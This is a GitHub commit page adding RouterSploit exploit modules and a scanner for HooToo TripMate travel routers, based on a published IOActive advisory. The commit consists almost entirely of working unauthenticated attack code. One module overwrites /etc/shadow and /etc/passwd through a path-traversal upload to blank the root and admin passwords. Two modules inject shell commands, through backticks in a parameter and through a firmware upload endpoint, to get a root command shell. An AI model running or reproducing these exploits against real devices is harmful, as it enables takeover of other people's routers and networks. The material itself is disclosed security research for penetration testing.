Skip to content

Commit 52e8bd8

Browse files
committed
[HooToo] Multiple unauth exploits for TripMate series.
1 parent 5919df7 commit 52e8bd8

File tree

5 files changed

+293
-0
lines changed

5 files changed

+293
-0
lines changed

routersploit/modules/exploits/routers/hootoo/__init__.py

Whitespace-only changes.
Lines changed: 85 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,85 @@
1+
from routersploit import (
2+
exploits,
3+
print_success,
4+
print_status,
5+
print_error,
6+
http_request,
7+
validators,
8+
random_text,
9+
mute,
10+
)
11+
12+
13+
class Exploit(exploits.Exploit):
14+
15+
"""Exploit implementation for unauthenticated arbitrary file upload in protocol.csp on HooToo TripMate routers."""
16+
17+
__info__ = {
18+
'name': 'HooToo TripMate unauthenticated protocol.csp arbitrary file upload',
19+
'authors': [
20+
'Tao "depierre" Sauvage',
21+
],
22+
'description': 'Module exploits TripMate unauthenticated arbitrary file upload in protocol.csp, '
23+
'to reset root, admin and guest passwords to blank, by overriding /etc/shadow and /etc/passwd '
24+
'on the router.',
25+
'references': [
26+
'http://blog.ioactive.com/2018/04/hootoo-tripmate-routers-are-cute-but.html',
27+
'https://www.ioactive.com/pdfs/HooToo_Security_Advisory_FINAL_4.19.18.pdf'
28+
],
29+
'devices': [
30+
'HooToo TripMate HT-TM01, firmware fw-WiFiDGRJ-HooToo-TM01-2.000.046',
31+
'HooToo TripMate Nano HT-TM02, firmware fw-WiFiPort-HooToo-TM02-2.000.072',
32+
'HooToo TripMate Mini HT-TM03, firmware fw-WiFiSDRJ-HooToo-TM03-2.000.016',
33+
'HooToo TripMate Elite HT-TM04, firmware fw-WiFiDGRJ2-HooToo-TM04-2.000.008',
34+
'HooToo TripMate Titan HT-TM05, firmware fw-7620-WiFiDGRJ-HooToo-HT-TM05-2.000.080.080',
35+
'HooToo TripMate Elite U HT-TM06, firmware fw-7620-WiFiDGRJ-HooToo-633-HT-TM06-2.000.048',
36+
],
37+
}
38+
39+
target = exploits.Option('', 'Target address running ioos, e.g. http://10.10.10.254', validators=validators.url)
40+
port = exploits.Option(81, 'Target port running ioos')
41+
42+
def run(self):
43+
if self.check():
44+
print_success('Target is vulnerable')
45+
print_status('Overriding /etc/shadow')
46+
url = u'{}:{}/protocol.csp'.format(self.target, self.port)
47+
new_shadow = 'root:$1$QlrmwRgO$c0iSI2euV.U1Wx6yBkDBI.:15386:0:99999:7:::\n'
48+
new_shadow += 'admin:$1$QlrmwRgO$c0iSI2euV.U1Wx6yBkDBI.:13341:0:99999:7:::\n'
49+
http_request(method=u'POST', url=url, files={'name': ('../etc/shadow', new_shadow)})
50+
print_status('Overriding /etc/passwd')
51+
new_passwd = 'root:$1$QlrmwRgO$c0iSI2euV.U1Wx6yBkDBI.:0:0:root:/root:/bin/sh\n'
52+
new_passwd += 'bin:x:1:1:bin:/bin:/sbin/nologin\n'
53+
new_passwd += 'daemon:x:2:2:daemon:/sbin:/sbin/nologin\n'
54+
new_passwd += 'admin:$1$QlrmwRgO$c0iSI2euV.U1Wx6yBkDBI.:15:0:admin:/data/UsbDisk1/Volume1:/bin/sh\n'
55+
new_passwd += 'mail:*:8:8:mail:/var/mail:/bin/sh\n'
56+
new_passwd += 'nobody:x:65534:65534:Nobody:/data/UsbDisk1/Volume1:/bin/sh\n'
57+
new_passwd += 'guest:$1$QlrmwRgO$c0iSI2euV.U1Wx6yBkDBI.:512:0:guest:/data/UsbDisk1/Volume1/Share:/bin/sh-new\n'
58+
http_request(method=u'POST', url=url, files={'name': ('../etc/passwd', new_passwd)})
59+
print_status('Verifying new password')
60+
response = http_request(
61+
method=u'GET', url=url,
62+
params={'function': 'set', 'fname': 'security', 'opt': 'pwdchk', 'name': 'admin', 'pwd1': ''})
63+
if not response or '<errno>0</errno>' not in response.text:
64+
print_error('Password could not be updated successfully!')
65+
else:
66+
print_success('All passwords have been successfully updated to blank!')
67+
else:
68+
print_error('Target is not vulnerable')
69+
70+
@mute
71+
def check(self):
72+
url = u'{}:{}/protocol.csp'.format(self.target, self.port)
73+
# 1. Create a file in the /www/firwmare/ directory (writeable).
74+
marker = random_text(64)
75+
filename = '/www/firmware/{}'.format(marker)
76+
response = http_request(method=u'POST', url=url, files={'name': ('../{}'.format(filename), marker)})
77+
if not response:
78+
return False
79+
# 2. Check that the file was successfully created>
80+
url_marker = u'{}:{}/firmware/{}'.format(self.target, self.port, marker)
81+
response = http_request(method=u'GET', url=url_marker)
82+
if not response or not response.status_code == 200 or marker not in response.text:
83+
return False
84+
# 3. Clean up the temp file. Not possible with this vuln though, so leaving the marker file on the router.
85+
return True
Lines changed: 100 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,100 @@
1+
from urllib import quote
2+
3+
from routersploit import (
4+
exploits,
5+
print_success,
6+
print_status,
7+
print_error,
8+
http_request,
9+
validators,
10+
random_text,
11+
shell,
12+
mute,
13+
)
14+
15+
16+
class Exploit(exploits.Exploit):
17+
18+
"""
19+
Exploit implementation for unauthenticated OS command injection vulnerability in protocol.csp open_forwarding on
20+
HooToo TripMate routers.
21+
"""
22+
23+
__info__ = {
24+
'name': 'HooToo TripMate protocol.csp open_forwarding RCE',
25+
'authors': [
26+
'Tao "depierre" Sauvage',
27+
],
28+
'description': 'Module exploits TripMate unauthenticated OS command injection vulnerability in protocol.csp, in'
29+
' function open_forwarding, which allows executing commands on the router with root privileges.',
30+
'references': [
31+
'http://blog.ioactive.com/2018/04/hootoo-tripmate-routers-are-cute-but.html',
32+
'https://www.ioactive.com/pdfs/HooToo_Security_Advisory_FINAL_4.19.18.pdf'
33+
],
34+
'devices': [
35+
'HooToo TripMate HT-TM01, firmware fw-WiFiDGRJ-HooToo-TM01-2.000.046',
36+
'HooToo TripMate Nano HT-TM02, firmware fw-WiFiPort-HooToo-TM02-2.000.072',
37+
'HooToo TripMate Mini HT-TM03, firmware fw-WiFiSDRJ-HooToo-TM03-2.000.016',
38+
'HooToo TripMate Elite HT-TM04, firmware fw-WiFiDGRJ2-HooToo-TM04-2.000.008',
39+
'HooToo TripMate Titan HT-TM05, firmware fw-7620-WiFiDGRJ-HooToo-HT-TM05-2.000.080.080',
40+
'HooToo TripMate Elite U HT-TM06, firmware fw-7620-WiFiDGRJ-HooToo-633-HT-TM06-2.000.048',
41+
],
42+
}
43+
44+
target = exploits.Option('', 'Target address running ioos, e.g. http://10.10.10.254', validators=validators.url)
45+
port = exploits.Option(81, 'Target port running ioos')
46+
47+
def run(self):
48+
if self.check():
49+
print_success('Target is vulnerable')
50+
print_status('Blind command injection - response is not available')
51+
print_status('Possible extraction point:')
52+
print_status('\t- Run "CMD > /www/firmware/routersploit.res"')
53+
print_status('\t- The result of CMD will be available at {}:{}/firmware/routersploit.res'.format(self.target, self.port))
54+
print_status("Invoking command loop (type 'exit' or 'quit' to exit the loop)...")
55+
shell(self, method='generic', architecture='mipsle', location='/tmp/')
56+
else:
57+
print_error('Target is not vulnerable')
58+
59+
def execute(self, cmd):
60+
url = u'{}:{}/protocol.csp'.format(self.target, self.port)
61+
params = self._urlencode_quote({
62+
'function': 'set', 'fname': 'security', 'opt': 'open_forwarding',
63+
'ip': '`{}`'.format(cmd)})
64+
http_request(method=u'GET', url=url, params=params)
65+
return '' # Blind RCE so no response available
66+
67+
@staticmethod
68+
def _urlencode_quote(params):
69+
"""URL encode parameters using urllib.quote instead of urllib.quote_plus.
70+
71+
Necessary because HooToo ioos binary does not properly handle whitespaces encoded as '+' in URLs. It only
72+
handles whitespaces encoded as '%20'.
73+
"""
74+
return '&'.join('{}={}'.format(quote(key), quote(value)) for key, value in params.items())
75+
76+
@mute
77+
def check(self):
78+
url = u'{}:{}/protocol.csp'.format(self.target, self.port)
79+
# Blind unauth RCE
80+
# 1. Create a file in the /www/firwmare/ directory (writeable).
81+
marker = random_text(64)
82+
params = self._urlencode_quote({
83+
'function': 'set', 'fname': 'security', 'opt': 'open_forwarding',
84+
'ip': '`echo {0} > /www/firmware/{0}`'.format(marker)})
85+
url_with_params = '{}?{}'.format(url, params)
86+
response = http_request(method=u'GET', url=url_with_params)
87+
if not response:
88+
return False
89+
# 2. Check that the file was successfully created>
90+
url_marker = u'{}:{}/firmware/{}'.format(self.target, self.port, marker)
91+
response = http_request(method=u'GET', url=url_marker)
92+
if not response or not response.status_code == 200 or marker not in response.text:
93+
return False
94+
# 3. Clean up the temp file.
95+
params = self._urlencode_quote({
96+
'function': 'set', 'fname': 'security', 'opt': 'open_forwarding',
97+
'ip': '`rm -f /www/firmware/{}`'.format(marker)})
98+
url_with_params = '{}?{}'.format(url, params)
99+
http_request(method=u'GET', url=url_with_params)
100+
return True
Lines changed: 84 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,84 @@
1+
from routersploit import (
2+
exploits,
3+
print_success,
4+
print_status,
5+
print_error,
6+
http_request,
7+
validators,
8+
random_text,
9+
shell,
10+
mute,
11+
)
12+
13+
14+
class Exploit(exploits.Exploit):
15+
16+
"""Exploit implementation for unauthenticated RCE vulnerability in sysfirm.csp on HooToo TripMate routers."""
17+
18+
__info__ = {
19+
'name': 'HooToo TripMate sysfirm.csp RCE',
20+
'authors': [
21+
'Tao "depierre" Sauvage',
22+
],
23+
'description': 'Module exploits TripMate unauthenticated remote code execution vulnerability in sysfirm.csp, '
24+
'which allows executing commands on the router with root privileges.',
25+
'references': [
26+
'http://blog.ioactive.com/2018/04/hootoo-tripmate-routers-are-cute-but.html',
27+
'https://www.ioactive.com/pdfs/HooToo_Security_Advisory_FINAL_4.19.18.pdf'
28+
],
29+
'devices': [
30+
'HooToo TripMate HT-TM01, firmware fw-WiFiDGRJ-HooToo-TM01-2.000.046',
31+
'HooToo TripMate Nano HT-TM02, firmware fw-WiFiPort-HooToo-TM02-2.000.072',
32+
'HooToo TripMate Mini HT-TM03, firmware fw-WiFiSDRJ-HooToo-TM03-2.000.016',
33+
'HooToo TripMate Elite HT-TM04, firmware fw-WiFiDGRJ2-HooToo-TM04-2.000.008',
34+
'HooToo TripMate Titan HT-TM05, firmware fw-7620-WiFiDGRJ-HooToo-HT-TM05-2.000.080.080',
35+
'HooToo TripMate Elite U HT-TM06, firmware fw-7620-WiFiDGRJ-HooToo-633-HT-TM06-2.000.048',
36+
],
37+
}
38+
39+
target = exploits.Option('', 'Target address running ioos, e.g. http://10.10.10.254', validators=validators.url)
40+
port = exploits.Option(81, 'Target port running ioos')
41+
42+
def run(self):
43+
if self.check():
44+
print_success('Target is vulnerable')
45+
print_status('Blind command injection - response is not available')
46+
print_status('Possible extraction point:')
47+
print_status('\t- Run "CMD > /www/firmware/routersploit.res"')
48+
print_status('\t- The result of CMD will be available at {}:{}/firmware/routersploit.res'.format(self.target, self.port))
49+
print_status("Invoking command loop (type 'exit' or 'quit' to exit the loop)...")
50+
shell(self, method='generic', architecture='mipsle', location='/tmp/')
51+
else:
52+
print_error('Target is not vulnerable')
53+
54+
def execute(self, cmd):
55+
url = u'{}:{}/sysfirm.csp'.format(self.target, self.port)
56+
http_request(method=u'POST', url=url, files={'file': ('foo', cmd), 'fname': (None, 'sysupfileform')})
57+
return '' # Blind RCE so no response available
58+
59+
@mute
60+
def check(self):
61+
url = u'{}:{}/sysfirm.csp'.format(self.target, self.port)
62+
# Blind unauth RCE
63+
# 1. Create a file in the /www/firwmare/ directory (writeable).
64+
marker = random_text(64)
65+
cmd_echo = u'echo {0} > /www/firmware/{0}'.format(marker)
66+
response = http_request(method=u'POST', url=url, files={'file': ('foo', cmd_echo), 'fname': (None, 'sysupfileform')})
67+
if not response:
68+
return False
69+
# 2. Check that the file was successfully created>
70+
url_marker = u'{}:{}/firmware/{}'.format(self.target, self.port, marker)
71+
response = None
72+
# Command run in a thread so it might take a few milliseconds to complete.
73+
for retry in range(5):
74+
response = http_request(method=u'GET', url=url_marker)
75+
if not response:
76+
continue
77+
if response.status_code == 200:
78+
break
79+
if not response or not response.status_code == 200 or marker not in response.text:
80+
return False
81+
# 3. Clean up the temp file.
82+
cmd_rm = u'rm -f /www/firmware/{}'.format(marker)
83+
http_request(method=u'POST', url=url, files={'file': ('foo', cmd_rm), 'fname': (None, 'sysupfileform')})
84+
return True
Lines changed: 24 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,24 @@
1+
from __future__ import absolute_import
2+
3+
from .autopwn import Exploit as BaseScanner
4+
5+
6+
class Exploit(BaseScanner):
7+
8+
"""Scanner implementation for HooToo vulnerabilities."""
9+
10+
__info__ = {
11+
'name': 'HooToo Scanner',
12+
'description': 'Scanner module for HooToo routers',
13+
'authors': [
14+
'Tao "depierre" Sauvage',
15+
],
16+
'references': (
17+
'http://blog.ioactive.com/2018/04/hootoo-tripmate-routers-are-cute-but.html',
18+
'https://www.ioactive.com/pdfs/HooToo_Security_Advisory_FINAL_4.19.18.pdf'
19+
),
20+
'devices': (
21+
'HooToo TripMate',
22+
),
23+
}
24+
modules = ['routers/hootoo', 'cameras/hootoo', 'misc/hootoo']

0 commit comments

Comments
 (0)